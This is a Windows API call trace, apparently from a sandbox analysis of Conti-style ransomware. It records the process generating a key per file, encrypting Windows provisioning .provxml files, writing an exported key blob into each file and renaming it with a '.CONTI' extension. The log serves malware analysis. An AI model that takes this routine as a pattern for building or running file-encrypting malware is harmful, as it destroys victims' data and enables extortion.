	[0109.454] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml"
	[0109.454] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.454] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.457] GetProcessHeap () returned 0x1720000
	[0109.457] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.457] CryptDestroyKey (hKey=0x17c7b70) returned 1
	[0109.457] GetProcessHeap () returned 0x1720000
	[0109.457] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588578 | out: hHeap=0x1720000) returned 1
	[0109.457] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.457] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65152c8 | out: phKey=0x65152c8*=0x6b7f338) returned 1
	[0109.457] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65152cc, pdwDataLen=0x45bfa3c | out: pbData=0x65152cc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.458] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.458] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.458] GetLastError () returned 0x0
	[0109.458] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=714) returned 1
	[0109.458] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0109.458] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.459] SetEndOfFile (hFile=0x380) returned 1
	[0109.459] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.459] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.459] WriteFile (in: hFile=0x380, lpBuffer=0x65152cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65152cc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.461] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.461] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2ca, lpOverlapped=0x0) returned 1
	[0109.461] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2ca, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0109.461] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.461] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.461] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.461] WriteFile (in: hFile=0x380, lpBuffer=0x65152c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65152c0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.461] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.461] CloseHandle (hObject=0x380) returned 1
	[0109.461] GetProcessHeap () returned 0x1720000
	[0109.461] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
	[0109.461] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml"
	[0109.461] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.461] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.462] GetProcessHeap () returned 0x1720000
	[0109.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.462] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0109.462] GetProcessHeap () returned 0x1720000
	[0109.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0e60 | out: hHeap=0x1720000) returned 1
	[0109.462] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.462] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6512770 | out: phKey=0x6512770*=0x6b7f6b8) returned 1
	[0109.462] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512774, pdwDataLen=0x45bfa3c | out: pbData=0x6512774*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.463] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.463] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.463] GetLastError () returned 0x0
	[0109.463] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=899) returned 1
	[0109.463] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x383
	[0109.464] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.464] SetEndOfFile (hFile=0x380) returned 1
	[0109.464] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.464] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.464] WriteFile (in: hFile=0x380, lpBuffer=0x6512774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6512774*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.466] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.466] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x383, lpOverlapped=0x0) returned 1
	[0109.466] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x383, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x390) returned 1
	[0109.466] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.466] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x390, lpOverlapped=0x0) returned 1
	[0109.466] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.466] WriteFile (in: hFile=0x380, lpBuffer=0x6512768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6512768*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.466] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.466] CloseHandle (hObject=0x380) returned 1
	[0109.467] GetProcessHeap () returned 0x1720000
	[0109.467] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
	[0109.467] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml"
	[0109.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.467] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.467] GetProcessHeap () returned 0x1720000
	[0109.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.467] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0109.467] GetProcessHeap () returned 0x1720000
	[0109.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6e70 | out: hHeap=0x1720000) returned 1
	[0109.467] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.467] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6515510 | out: phKey=0x6515510*=0x6b7f178) returned 1
	[0109.468] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515514, pdwDataLen=0x45bfa3c | out: pbData=0x6515514*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.468] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.469] GetLastError () returned 0x0
	[0109.469] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=784) returned 1
	[0109.469] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x310
	[0109.469] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.469] SetEndOfFile (hFile=0x380) returned 1
	[0109.469] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.469] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.469] WriteFile (in: hFile=0x380, lpBuffer=0x6515514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6515514*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.471] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.471] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x310, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x310, lpOverlapped=0x0) returned 1
	[0109.471] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x310, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x320) returned 1
	[0109.471] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.471] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x320, lpOverlapped=0x0) returned 1
	[0109.471] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.471] WriteFile (in: hFile=0x380, lpBuffer=0x6515508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6515508*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.471] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.471] CloseHandle (hObject=0x380) returned 1
	[0109.471] GetProcessHeap () returned 0x1720000
	[0109.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
	[0109.472] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml"
	[0109.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.472] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.472] GetProcessHeap () returned 0x1720000
	[0109.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.472] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0109.472] GetProcessHeap () returned 0x1720000
	[0109.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7390 | out: hHeap=0x1720000) returned 1
	[0109.472] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.472] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x6b7f378) returned 1
	[0109.472] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x45bfa3c | out: pbData=0x17c4c74*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.473] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.473] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.473] GetLastError () returned 0x0
	[0109.473] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=777) returned 1
	[0109.473] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x309
	[0109.474] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.474] SetEndOfFile (hFile=0x380) returned 1
